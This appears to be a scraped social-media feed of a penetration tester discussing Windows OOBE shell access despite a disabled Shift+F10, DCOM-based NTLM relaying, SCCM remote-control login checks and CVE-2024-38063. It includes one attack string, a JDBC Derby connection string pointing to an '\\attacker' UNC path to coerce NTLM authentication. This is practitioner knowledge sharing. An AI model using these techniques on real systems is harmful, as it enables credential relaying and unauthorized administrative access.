Bk

Infosec enthusiast, Pentester, Network Security, PCAP or didn't happen, Monkey Island addict,

[Bk @_bka_]

@_JohnHammond Thanks for the mention John, great video! To add a bit of context for all: My writeup focuses on a scenario in which organisations intentionally blocked Shift+F10 by adding the DisableCMDRequest.tag file and it's possible to bypass this protection with Win+R

[John Hammond @_JohnHammond]

An alternative to Shift+F10 to open an administrative command prompt during the Windows initial setup and Out-of-Box-Experience (OOBE) -- video showcase of @_bka_ 's newfound trick to revive a simple method for backdoors and unintended access: https://t.co/R7soflOx1h

[Bk @_bka_]

Details in https://t.co/xszUdNZBzI

[Bk @_bka_]

The old and well-known way to spawn a shell in Windows OOBE is the Shift+F10 hotkey. But did you know there is another way, even when Shift+F10 is disabled? You could find more details in the blog post (link in the comment).

#infosec #oobe #Intune #Windows

[Bk @_bka_]

@albinowax Very nice, thanks James. Couldn't the additional scan checks also be included as part of the built-in templates for the scan launcher? Or would this create too much load where it might not be necessary?

[Bk @_bka_]

If you ever find an Apache Derby service running on a Windows machine, try to connect to it by specifying a UNC path as database name and include your address for NTLM relaying.

Example connection string:

jdbc:derby://<target>:1527/\\attacker\foobar;create=false

#redteam

[Bk @_bka_]

For what it's worth: https://t.co/Gde1db7G0B

[Bk @_bka_]

This is very accurate
#sccm

[Bk @_bka_]

@guhe120 @msftsecresponse That would be interesting to know. My latest experience is one of the "not a security boundary" responses, which clearly is not the case for my issue

[Bk @_bka_]

Nice, thanks for your research! That matches quite well with the login check I wrote some weeks ago: https://t.co/hU4XxGIMWQ

[Chris Au @netero_1010]

Something interesting I found in SCCM remote control.
https://t.co/TewghGQTXR

[Bk @_bka_]

@decoder_it How about {5BC7A3A1-E905-414B-9790-E511346F5CA6} ? That one looks nice as well

[Bk @_bka_]

Except if you target ADCS servers due to the "Certificate Service DCOM Access" group and their only member "Authenticated Users" 😄

[Andrea P @decoder_it]

OK, I promise to stop spamming about relays with NTLM/Kerberos 😅. But if you're a member of the Distributed COM or Performance Log group, these juicy CLSIDs let you trigger remotely machine authentication of any computer, including DCs, and relay DCOM -> HTTP, SMB… 👇

[Bk @_bka_]

@decoder_it Nice! Do you need to invoke a particular method within the DCOM app and provide the target address to connect to as a parameter?

[Bk @_bka_]

Highly recommend this blog post of @nv1t in which he demonstrates how flawed the Kekz headphones are, by reversing the hardware and firmware of this product.

#infosec #reverseengineering

[nuit - @[email protected] @nv1t]

I've looked into the Kekz Headphones for children approx a year ago. I finally published the blog post about the crypto of the audio files and how the cookies operate.
There is even some customer data disclosure involved.

https://t.co/N8XOAxbGUB

[Bk @_bka_]

Ever found the Remote Control service of SCCM/MECM on TCP Port 2701? Turns out there is no easy way to check logins against the service on Linux where you could not use CmRcViewer.exe. So I wrote a script that could do it. It's available on https://t.co/hU4XxGIMWQ

#infosec

[Bk @_bka_]

This is all we need to construct the URL. Name of the PDB (in this example ipconfig.pdb), UUID and age:

wget https://t.co/Rhf86xVlmU

Please note that the last digit, 1, behind the UUID corresponds to the age value. That's it, the symbols are going to be downloaded.

[Bk @_bka_]

Downloading symbols for .exe files is easy with tools like symchk, Windbg, IDA or Ghidra. But how to do it manually, for example on Linux with only few tools available?

First we need the UUID of the PDB and its age. We could use objdump for this:

[Bk @_bka_]

@JAHammarlund @f4rmpoet Maybe for CVE-2024-38064?

[Bk @_bka_]

@f4rmpoet Time to play with OptLen

[Bk @_bka_]

@f4rmpoet Exactly. So my assumption is this: cve-2024-38063 is triggered by sending a large number of faulty Ipv6Options that are summed up incorrectly by the ICMP error handling routine